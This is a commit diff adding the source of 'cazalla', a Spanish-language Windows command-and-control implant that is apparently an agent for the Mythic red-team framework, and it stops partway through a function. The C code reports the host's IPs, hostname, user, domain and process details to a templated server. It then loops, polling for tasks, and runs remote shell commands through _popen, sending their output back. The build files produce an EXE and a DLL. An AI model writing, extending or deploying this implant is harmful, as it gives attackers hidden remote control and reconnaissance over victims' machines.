v0.3:Conectividad y exit
This commit is contained in:
+28
@@ -0,0 +1,28 @@
|
|||||||
|
|
||||||
|
Copyright (c) 2023, its-a-feature
|
||||||
|
All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without
|
||||||
|
modification, are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
* Redistributions of source code must retain the above copyright notice, this
|
||||||
|
list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
* Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
this list of conditions and the following disclaimer in the documentation
|
||||||
|
and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
* Neither the name of [project] nor the names of its
|
||||||
|
contributors may be used to endorse or promote products derived from
|
||||||
|
this software without specific prior written permission.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
|
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||||
|
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||||
|
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||||
|
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
|
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
FROM python:3.11
|
||||||
|
|
||||||
|
ARG CA_CERTIFICATE
|
||||||
|
ARG NPM_REGISTRY
|
||||||
|
ARG PYPI_INDEX
|
||||||
|
ARG PYPI_INDEX_URL
|
||||||
|
ARG DOCKER_REGISTRY_MIRROR
|
||||||
|
ARG HTTP_PROXY
|
||||||
|
ARG HTTPS_PROXY
|
||||||
|
|
||||||
|
RUN apt-get -y update && \
|
||||||
|
apt-get -y upgrade && \
|
||||||
|
apt-get install --no-install-recommends \
|
||||||
|
software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \
|
||||||
|
xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \
|
||||||
|
apt-get purge -y && \
|
||||||
|
rm -rf /var/lib/apt/lists/* && \
|
||||||
|
apt-get clean
|
||||||
|
|
||||||
|
COPY requirements.txt /
|
||||||
|
RUN pip3 install -r /requirements.txt
|
||||||
|
|
||||||
|
WORKDIR /Mythic/
|
||||||
|
|
||||||
|
CMD ["python3", "main.py"]
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
import glob
|
||||||
|
import os.path
|
||||||
|
from pathlib import Path
|
||||||
|
from importlib import import_module, invalidate_caches
|
||||||
|
import sys
|
||||||
|
# Get file paths of all modules.
|
||||||
|
|
||||||
|
currentPath = Path(__file__)
|
||||||
|
searchPath = currentPath.parent / "agent_functions" / "*.py"
|
||||||
|
modules = glob.glob(f"{searchPath}")
|
||||||
|
invalidate_caches()
|
||||||
|
for x in modules:
|
||||||
|
if not x.endswith("__init__.py") and x[-3:] == ".py":
|
||||||
|
module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
|
||||||
|
for el in dir(module):
|
||||||
|
if "__" not in el:
|
||||||
|
globals()[el] = getattr(module, el)
|
||||||
|
|
||||||
|
|
||||||
|
sys.path.append(os.path.abspath(currentPath.name))
|
||||||
@@ -0,0 +1,115 @@
|
|||||||
|
#include "analizador.h"
|
||||||
|
|
||||||
|
//Creacion de un nuevo Analizador.
|
||||||
|
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) {
|
||||||
|
//v2 change to syscalls
|
||||||
|
PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador));
|
||||||
|
pAnalizador->buffer = NULL;
|
||||||
|
pAnalizador->tamano = tamano;
|
||||||
|
pAnalizador->tamanoOriginal = tamano;
|
||||||
|
pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano);
|
||||||
|
|
||||||
|
if (!pAnalizador->original) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy(pAnalizador->original, buffer, tamano);
|
||||||
|
pAnalizador->buffer = pAnalizador->original;
|
||||||
|
|
||||||
|
return pAnalizador;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID liberarAnalizador(PAnalizador analizador) {
|
||||||
|
|
||||||
|
analizador->original = NULL;
|
||||||
|
analizador->buffer = NULL;
|
||||||
|
LocalFree(analizador);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BYTE getByte(PAnalizador analizador) {
|
||||||
|
|
||||||
|
BYTE intByte = 0;
|
||||||
|
if (analizador->tamano < 1) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//v2. Syscalls
|
||||||
|
memcpy(&intByte, analizador->buffer, 1);
|
||||||
|
analizador->buffer += 1;
|
||||||
|
analizador->tamano -= 1;
|
||||||
|
|
||||||
|
return intByte;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
UINT32 getInt32(PAnalizador analizador) {
|
||||||
|
|
||||||
|
UINT32 intByte = 0;
|
||||||
|
if (analizador->tamano < 4) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//v2. Syscalls
|
||||||
|
memcpy(&intByte, analizador->buffer, 4);
|
||||||
|
analizador->buffer += 4;
|
||||||
|
analizador->tamano -= 4;
|
||||||
|
|
||||||
|
return BYTESWAP32(intByte);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
UINT64 getInt64(PAnalizador analizador) {
|
||||||
|
|
||||||
|
UINT64 intByte = 0;
|
||||||
|
if (analizador->tamano < 8) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
//v2. Syscalls
|
||||||
|
memcpy(&intByte, analizador->buffer, 8);
|
||||||
|
analizador->buffer += 8;
|
||||||
|
analizador->tamano -= 8;
|
||||||
|
|
||||||
|
return BYTESWAP64(intByte);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) {
|
||||||
|
|
||||||
|
SIZE_T length = 0;
|
||||||
|
if (*tamano == 0) {
|
||||||
|
|
||||||
|
length = getInt32(analizador);
|
||||||
|
*tamano = length;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
|
||||||
|
length = *tamano;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length);
|
||||||
|
if (!datosDeSalida) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy(datosDeSalida, analizador->buffer, length);
|
||||||
|
analizador->buffer += length;
|
||||||
|
analizador->tamano -= length;
|
||||||
|
|
||||||
|
return datosDeSalida;
|
||||||
|
}
|
||||||
|
|
||||||
|
PCHAR getString(PAnalizador analizador, PSIZE_T tamano) {
|
||||||
|
|
||||||
|
return (PCHAR)getBytes(analizador, tamano);
|
||||||
|
}
|
||||||
|
|
||||||
|
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) {
|
||||||
|
|
||||||
|
return (PWCHAR)getBytes(analizador, tamano);
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
#pragma once
|
||||||
|
#define initUUID "%UUID%"
|
||||||
|
#define hostname L"%HOSTNAME%"
|
||||||
|
#define endpoint L"%ENDPOINT%"
|
||||||
|
#define ssl %SSL%
|
||||||
|
#define proxyenabled %PROXYENABLED%
|
||||||
|
#define proxyurl L"%PROXYURL%"
|
||||||
|
|
||||||
|
#define useragent L"%USERAGENT%"
|
||||||
|
#define httpmethod L"POST"
|
||||||
|
#define port %PORT%
|
||||||
|
|
||||||
|
#define sleep_time %SLEEPTIME%
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
# Compiler
|
||||||
|
CC = x86_64-w64-mingw32-gcc
|
||||||
|
CFLAGS = -Wall -w -s -IInclude
|
||||||
|
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp
|
||||||
|
DFLAGS = -D_DEBUG
|
||||||
|
|
||||||
|
# Directories
|
||||||
|
SRC_FILES := *.c
|
||||||
|
BUILD_DIR = build
|
||||||
|
|
||||||
|
# Ensure build directory exists
|
||||||
|
$(shell mkdir -p $(BUILD_DIR))
|
||||||
|
|
||||||
|
# Build Targets
|
||||||
|
all: exe dll
|
||||||
|
|
||||||
|
exe: $(BUILD_DIR)/cazalla.exe
|
||||||
|
|
||||||
|
dll: $(BUILD_DIR)/cazalla.dll
|
||||||
|
|
||||||
|
debug: debug_exe debug_dll
|
||||||
|
|
||||||
|
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
|
||||||
|
|
||||||
|
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
|
||||||
|
|
||||||
|
# Executable Target
|
||||||
|
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
|
||||||
|
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
|
||||||
|
|
||||||
|
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
|
||||||
|
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
|
||||||
|
|
||||||
|
# DLL Target
|
||||||
|
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
|
||||||
|
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS)
|
||||||
|
|
||||||
|
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
|
||||||
|
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
|
||||||
|
|
||||||
|
# Clean up
|
||||||
|
clean:
|
||||||
|
rm -rf $(BUILD_DIR)
|
||||||
@@ -0,0 +1,26 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef ANALIZADOR_H
|
||||||
|
#define ANALIZADOR_H
|
||||||
|
|
||||||
|
#include "utils.h"
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
|
||||||
|
PBYTE original;
|
||||||
|
PBYTE buffer;
|
||||||
|
SIZE_T tamano;
|
||||||
|
SIZE_T tamanoOriginal;
|
||||||
|
|
||||||
|
} Analizador, * PAnalizador;
|
||||||
|
|
||||||
|
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano);
|
||||||
|
VOID liberarAnalizador(PAnalizador analizador);
|
||||||
|
|
||||||
|
BYTE getByte(PAnalizador analizador);
|
||||||
|
UINT32 getInt32(PAnalizador analizador);
|
||||||
|
UINT64 getInt64(PAnalizador analizador);
|
||||||
|
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano);
|
||||||
|
PCHAR getString(PAnalizador analizador, PSIZE_T tamano);
|
||||||
|
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano);
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
#include "cazalla.h"
|
||||||
|
#include "Config.h"
|
||||||
|
|
||||||
|
CONFIG_CAZALLA* cazallaConfig = NULL;
|
||||||
|
|
||||||
|
VOID cazallaMain() {
|
||||||
|
|
||||||
|
//v2: evitar LocalAlloc
|
||||||
|
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
|
||||||
|
cazallaConfig->idAgente = (PCHAR)initUUID;
|
||||||
|
cazallaConfig->hostName = (PWCHAR)hostname;
|
||||||
|
cazallaConfig->puertoHttp = port;
|
||||||
|
cazallaConfig->endPoint = (PWCHAR)endpoint;
|
||||||
|
cazallaConfig->userAgent = (PWCHAR)useragent;
|
||||||
|
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
|
||||||
|
cazallaConfig->SSL = ssl;
|
||||||
|
cazallaConfig->proxyHabilitado = proxyenabled;
|
||||||
|
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
|
||||||
|
cazallaConfig->tiempoSleep = sleep_time;
|
||||||
|
|
||||||
|
PAnalizador respuestaAnalizador = checkin();
|
||||||
|
|
||||||
|
if (!respuestaAnalizador) {
|
||||||
|
_err("error en el primer checkin, cerrando\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
parseChecking(respuestaAnalizador);
|
||||||
|
while (TRUE)
|
||||||
|
rutina();
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID setUUID(PCHAR newUUID) {
|
||||||
|
cazallaConfig->idAgente = newUUID;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef CAZALLA_H
|
||||||
|
#define CAZALLA_H
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include "paquete.h"
|
||||||
|
|
||||||
|
#include "analizador.h"
|
||||||
|
#include "utils.h"
|
||||||
|
#include "checkin.h"
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
// UUID
|
||||||
|
PCHAR idAgente;
|
||||||
|
//HTTP
|
||||||
|
PWCHAR hostName;
|
||||||
|
DWORD puertoHttp;
|
||||||
|
PWCHAR endPoint;
|
||||||
|
PWCHAR userAgent;
|
||||||
|
PWCHAR metodoHttp;
|
||||||
|
|
||||||
|
BOOL SSL;
|
||||||
|
BOOL proxyHabilitado;
|
||||||
|
PWCHAR urlProxy;
|
||||||
|
|
||||||
|
UINT32 tiempoSleep;
|
||||||
|
}CONFIG_CAZALLA, * PCONFIG_CAZALLA;
|
||||||
|
|
||||||
|
extern PCONFIG_CAZALLA cazallaConfig;
|
||||||
|
|
||||||
|
|
||||||
|
VOID setUUID(PCHAR newUUID);
|
||||||
|
VOID cazallaMain();
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
#include "cerrarCallback.h"
|
||||||
|
#include "paquete.h"
|
||||||
|
#include <processthreadsapi.h>
|
||||||
|
|
||||||
|
|
||||||
|
BOOL cerrarCallback(PAnalizador argumentos){
|
||||||
|
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
|
||||||
|
// Crear paquete de respuesta
|
||||||
|
PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
|
||||||
|
// Si falla la creación del paquete, cerramos con error
|
||||||
|
if (!paquete) {
|
||||||
|
ExitProcess(1);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Agregar el UUID de la tarea
|
||||||
|
addString(paquete, tareaUuid, FALSE);
|
||||||
|
|
||||||
|
// Indicar que la tarea se completó con éxito
|
||||||
|
addByte(paquete, TASK_COMPLETE);
|
||||||
|
|
||||||
|
// Enviar el paquete
|
||||||
|
mandarPaquete(paquete);
|
||||||
|
|
||||||
|
// Liberar memoria del paquete
|
||||||
|
liberarPaquete(paquete);
|
||||||
|
|
||||||
|
// Terminar el proceso
|
||||||
|
ExitProcess(0);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
#pragma once
|
||||||
|
#ifndef EXIT_H
|
||||||
|
#define EXIT_H
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include "analizador.h"
|
||||||
|
|
||||||
|
BOOL cerrarCallback(PAnalizador argumentos);
|
||||||
|
|
||||||
|
|
||||||
|
#endif //EXIT_H
|
||||||
@@ -0,0 +1,196 @@
|
|||||||
|
#include "checkin.h"
|
||||||
|
#include "cazalla.h"
|
||||||
|
|
||||||
|
#pragma comment(lib, "iphlpapi.lib")
|
||||||
|
#include <iphlpapi.h>
|
||||||
|
|
||||||
|
// Obtener Direcciones IPs.
|
||||||
|
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
|
||||||
|
|
||||||
|
PMIB_IPADDRTABLE pTablaDireccionesIP;
|
||||||
|
DWORD dwSize = 0;
|
||||||
|
DWORD dwRetVal = 0;
|
||||||
|
IN_ADDR IPAddr;
|
||||||
|
LPVOID lpMsgBuf;
|
||||||
|
|
||||||
|
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
|
||||||
|
if (pTablaDireccionesIP) {
|
||||||
|
|
||||||
|
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
|
||||||
|
|
||||||
|
LocalFree(pTablaDireccionesIP);
|
||||||
|
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pTablaDireccionesIP == NULL) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
|
||||||
|
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
|
||||||
|
}
|
||||||
|
|
||||||
|
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
|
||||||
|
|
||||||
|
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
|
||||||
|
|
||||||
|
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
|
||||||
|
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pTablaDireccionesIP) {
|
||||||
|
|
||||||
|
LocalFree(pTablaDireccionesIP);
|
||||||
|
}
|
||||||
|
|
||||||
|
return tableOfIPs;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// Obtener la arquitectura
|
||||||
|
BYTE obtenerArquitectura() {
|
||||||
|
|
||||||
|
SYSTEM_INFO informacionDelSistema;
|
||||||
|
|
||||||
|
GetNativeSystemInfo(&informacionDelSistema);
|
||||||
|
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
|
||||||
|
return 0x64;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0x86;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Obtener el Hostname
|
||||||
|
PCHAR obtenerHostame() {
|
||||||
|
|
||||||
|
LPSTR datos = NULL;
|
||||||
|
DWORD dataLen = 0;
|
||||||
|
const char* hostnameRep = "N/A";
|
||||||
|
|
||||||
|
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen))
|
||||||
|
{
|
||||||
|
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
|
||||||
|
{
|
||||||
|
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
|
||||||
|
hostnameRep = datos;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return (char*)hostnameRep;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Obtener el usuario
|
||||||
|
char* obtenerUsuarios() {
|
||||||
|
|
||||||
|
LPSTR datos = NULL;
|
||||||
|
DWORD dataLen = 0;
|
||||||
|
const char* usuario = "N/A";
|
||||||
|
|
||||||
|
if (!GetUserNameA(NULL, &dataLen)) {
|
||||||
|
|
||||||
|
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
|
||||||
|
|
||||||
|
GetUserNameA(datos, &dataLen);
|
||||||
|
usuario = datos;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return (char*)usuario;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Obtener el dominio
|
||||||
|
LPWSTR obtenerDominio() {
|
||||||
|
|
||||||
|
DWORD dwLevel = 102;
|
||||||
|
LPWKSTA_INFO_102 pBuf = NULL;
|
||||||
|
PWCHAR dominio = NULL;
|
||||||
|
NET_API_STATUS nStatus;
|
||||||
|
LPWSTR pszServerName = NULL;
|
||||||
|
|
||||||
|
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
|
||||||
|
if (nStatus == NERR_Success) {
|
||||||
|
|
||||||
|
DWORD length = lstrlenW(pBuf->wki102_langroup);
|
||||||
|
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
|
||||||
|
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pBuf != NULL) {
|
||||||
|
|
||||||
|
NetApiBufferFree(pBuf);
|
||||||
|
}
|
||||||
|
|
||||||
|
return dominio;
|
||||||
|
}
|
||||||
|
|
||||||
|
char* getOsName() {
|
||||||
|
|
||||||
|
return (PCHAR)"Windows";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Obtener el nombre del proceso actual
|
||||||
|
char* obtenerNombreProceso() {
|
||||||
|
|
||||||
|
char* nombreProceso = NULL;
|
||||||
|
HANDLE handle = GetCurrentProcess();
|
||||||
|
if (handle) {
|
||||||
|
|
||||||
|
DWORD buffSize = 1024;
|
||||||
|
CHAR buffer[1024];
|
||||||
|
|
||||||
|
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
|
||||||
|
|
||||||
|
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
|
||||||
|
memcpy(nombreProceso, buffer, buffSize);
|
||||||
|
}
|
||||||
|
CloseHandle(handle);
|
||||||
|
}
|
||||||
|
return nombreProceso;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
PAnalizador checkin() {
|
||||||
|
|
||||||
|
UINT32 numeroDeIPs = 0;
|
||||||
|
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
|
||||||
|
if (!checkin) {
|
||||||
|
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
|
||||||
|
|
||||||
|
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
|
||||||
|
addInt32(checkin, numeroDeIPs);
|
||||||
|
for (UINT32 i = 0; i < numeroDeIPs; i++) {
|
||||||
|
addInt32(checkin, tableOfIPs[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
addString(checkin, getOsName(), TRUE);
|
||||||
|
addByte(checkin, obtenerArquitectura());
|
||||||
|
addString(checkin, obtenerHostame(), TRUE);
|
||||||
|
addString(checkin, obtenerUsuarios(), TRUE);
|
||||||
|
addWString(checkin, obtenerDominio(), TRUE);
|
||||||
|
addInt32(checkin, GetCurrentProcessId());
|
||||||
|
addString(checkin, obtenerNombreProceso(), TRUE);
|
||||||
|
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
|
||||||
|
|
||||||
|
|
||||||
|
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
|
||||||
|
|
||||||
|
liberarPaquete(checkin);
|
||||||
|
|
||||||
|
if (!respuestaAnalizador) {
|
||||||
|
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n");
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
}
|
||||||
|
return respuestaAnalizador;
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef CHECKIN_H
|
||||||
|
#define CHECKIN_H
|
||||||
|
#include <windows.h>
|
||||||
|
#include <lm.h>
|
||||||
|
#include <lmwksta.h>
|
||||||
|
#include "paquete.h"
|
||||||
|
#include "transporte.h"
|
||||||
|
#include "analizador.h"
|
||||||
|
#include "comandos.h"
|
||||||
|
|
||||||
|
#pragma comment(lib, "netapi32.lib")
|
||||||
|
|
||||||
|
PAnalizador checkin();
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,78 @@
|
|||||||
|
#include "cazalla.h"
|
||||||
|
#include "comandos.h"
|
||||||
|
|
||||||
|
BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
||||||
|
|
||||||
|
UINT32 numeroTareas = getInt32(obtenerTarea);
|
||||||
|
if (numeroTareas) {
|
||||||
|
_dbg("[Tareas] hay %d tareas !\n", numeroTareas);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (UINT32 i = 0; i < numeroTareas; i++) {
|
||||||
|
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
|
||||||
|
BYTE tarea = getByte(obtenerTarea);
|
||||||
|
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
|
||||||
|
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
|
||||||
|
|
||||||
|
if (tarea == SHELL_CMD)
|
||||||
|
{
|
||||||
|
ejecutarConsola(analizadorTarea);
|
||||||
|
}
|
||||||
|
else if (tarea == EXIT_CMD) {
|
||||||
|
cerrarCallback(analizadorTarea);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL commandDispatch(PAnalizador respuesta) {
|
||||||
|
|
||||||
|
BYTE tipoRespuesta = getByte(respuesta);
|
||||||
|
if (tipoRespuesta == GET_TASKING) {
|
||||||
|
return handleGetTasking(respuesta);
|
||||||
|
}
|
||||||
|
else if (tipoRespuesta == POST_RESPONSE) {
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL parseChecking(PAnalizador respuestaAnalizador) {
|
||||||
|
|
||||||
|
if (getByte(respuestaAnalizador) != CHECKIN) {
|
||||||
|
|
||||||
|
liberarAnalizador(respuestaAnalizador);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
|
||||||
|
setUUID(nuevoUuid);
|
||||||
|
|
||||||
|
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
|
||||||
|
|
||||||
|
liberarAnalizador(respuestaAnalizador);
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL rutina() {
|
||||||
|
|
||||||
|
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
|
||||||
|
addInt32(obtenerTarea, NUMBER_OF_TASKS);
|
||||||
|
|
||||||
|
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
|
||||||
|
// sin respuesta
|
||||||
|
if (!respuestaAnalizador) {
|
||||||
|
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
commandDispatch(respuestaAnalizador);
|
||||||
|
|
||||||
|
// Sleep
|
||||||
|
Sleep(cazallaConfig->tiempoSleep);
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef COMMANDOS
|
||||||
|
#define COMMANDOS
|
||||||
|
|
||||||
|
#include "analizador.h"
|
||||||
|
#include "paquete.h"
|
||||||
|
#include "consola.h"
|
||||||
|
#include "cerrarCallback.h"
|
||||||
|
|
||||||
|
#define SHELL_CMD 0x54
|
||||||
|
#define GET_TASKING 0x00
|
||||||
|
#define POST_RESPONSE 0x01
|
||||||
|
#define CHECKIN 0xf1
|
||||||
|
|
||||||
|
#define NUMBER_OF_TASKS 1
|
||||||
|
|
||||||
|
#define EXIT_CMD 0x80
|
||||||
|
|
||||||
|
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
||||||
|
BOOL rutina();
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
#include "consola.h"
|
||||||
|
|
||||||
|
BOOL ejecutarConsola(PAnalizador argumentos) {
|
||||||
|
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
SIZE_T tamano = 0;
|
||||||
|
PCHAR comando = getString(argumentos, &tamano);
|
||||||
|
|
||||||
|
comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
|
|
||||||
|
FILE* fp;
|
||||||
|
CHAR ruta[1035];
|
||||||
|
|
||||||
|
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaTarea, tareaUuid, FALSE);
|
||||||
|
|
||||||
|
//paquete temporal para la salida
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
|
||||||
|
fp = _popen(comando, "rb");
|
||||||
|
if (!fp) {
|
||||||
|
_err("[Consola] Error ejecutando el comando");
|
||||||
|
return FALSE;
|
||||||
|
}
|
